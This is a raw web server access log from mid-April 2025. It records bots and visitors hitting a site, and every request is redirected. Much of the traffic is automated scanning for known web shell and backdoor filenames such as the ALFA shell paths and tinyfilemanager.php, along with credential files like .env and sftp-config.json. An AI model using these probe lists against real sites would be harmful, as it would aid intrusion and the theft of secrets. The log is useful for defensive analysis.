[15/Apr/2025:21:38:20 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:21 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:21 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:21 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:22 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:22 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:23 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:24 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:25 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:25 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:26 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:27 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:27 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:27 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:28 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:29 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:29 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:30 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:30 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:31 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:31 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:32 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:33 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:33 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:33 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:34 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:34 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:35 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:35 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:36 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:36 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:37 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:38 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:38 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:39 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:39 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:40 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:41 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:41 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:41 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:41 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:42 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:42 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:43 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:43 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:43 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:44 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:44 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:44 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:45 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:45 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:45 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:46 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:46 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:46 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:47 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:47 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:48 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:48 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:49 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:49 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:50 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:50 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:50 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:51 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:51 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:52 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:52 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:52 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:53 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:53 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:53 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:53 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 54.255.95.46 - - [15/Apr/2025:22:01:08 -0400] "GET /img/brand-associate/28_Geo_Chem.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 149.88.19.17 - - [15/Apr/2025:22:32:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51" 94.46.220.6 - - [15/Apr/2025:22:33:42 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 146.70.202.36 - - [15/Apr/2025:22:35:09 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 146.70.202.36 - - [15/Apr/2025:23:22:38 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 52.37.99.43 - - [15/Apr/2025:23:24:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 84.239.48.131 - - [15/Apr/2025:23:27:24 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 36.111.67.189 - - [15/Apr/2025:23:44:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 15.237.84.118 - - [16/Apr/2025:00:14:53 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 15.237.84.118 - - [16/Apr/2025:00:14:57 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.165.67.57 - - [16/Apr/2025:00:58:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 156.59.172.66 - - [16/Apr/2025:01:13:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0" 208.100.26.243 - - [16/Apr/2025:01:17:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; SM-A6060) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Mobile Safari/537.36" 52.48.53.137 - - [16/Apr/2025:01:18:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 173.244.58.141 - - [16/Apr/2025:01:31:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 43.135.182.43 - - [16/Apr/2025:01:54:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.156.128.58 - - [16/Apr/2025:02:13:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 45.156.128.57 - - [16/Apr/2025:02:13:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 188.166.219.31 - - [16/Apr/2025:02:18:07 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 188.166.219.31 - - [16/Apr/2025:02:18:09 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 162.0.232.217 - - [16/Apr/2025:02:39:49 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:43:19 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:44:52 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:48:42 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:50:01 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:50:32 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:51:37 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:53:47 -0400] "GET /.well-known/pki-validation/about.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:55:29 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:02:57:24 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 87.249.133.111 - - [16/Apr/2025:03:03:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 206.189.129.25 - - [16/Apr/2025:03:03:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 66.212.18.223 - - [16/Apr/2025:03:04:39 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 146.70.202.36 - - [16/Apr/2025:03:29:52 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 146.70.202.36 - - [16/Apr/2025:03:52:27 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.135.142.37 - - [16/Apr/2025:03:54:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.14.154.215 - - [16/Apr/2025:04:09:03 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:04 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:04 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:04 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:05 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:05 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:05 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:05 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:04:09:06 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 60.188.57.0 - - [16/Apr/2025:04:32:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.249.133.111 - - [16/Apr/2025:04:41:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 66.249.72.227 - - [16/Apr/2025:04:50:32 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.228 - - [16/Apr/2025:04:50:33 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 212.30.36.29 - - [16/Apr/2025:05:18:04 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 35.224.159.55 - - [16/Apr/2025:06:30:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 216.131.105.249 - - [16/Apr/2025:06:43:30 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 196.251.86.135 - - [16/Apr/2025:06:49:54 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.135 - - [16/Apr/2025:06:49:54 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.135 - - [16/Apr/2025:06:49:54 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.86.135 - - [16/Apr/2025:06:49:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.135 - - [16/Apr/2025:06:49:54 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.135 - - [16/Apr/2025:06:49:56 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 113.116.195.122 - - [16/Apr/2025:07:04:49 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [16/Apr/2025:07:04:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 162.0.232.217 - - [16/Apr/2025:07:07:25 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:07:07:35 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:07:07:41 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:07:07:41 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:07:11:10 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [16/Apr/2025:07:11:41 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 18.223.108.59 - - [16/Apr/2025:07:15:17 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 162.0.232.217 - - [16/Apr/2025:07:16:30 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [16/Apr/2025:07:17:24 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 23.229.104.2 - - [16/Apr/2025:07:34:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 194.38.23.16 - - [16/Apr/2025:07:58:34 -0400] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 164.90.154.67 - - [16/Apr/2025:08:07:33 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 212.30.36.52 - - [16/Apr/2025:08:13:20 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 43.167.157.80 - - [16/Apr/2025:08:16:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.82.231.149 - - [16/Apr/2025:08:41:32 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:32 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:33 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:33 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:33 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:33 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:33 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:34 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:34 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:34 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:34 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:35 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:35 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:35 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:35 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:35 -0400] 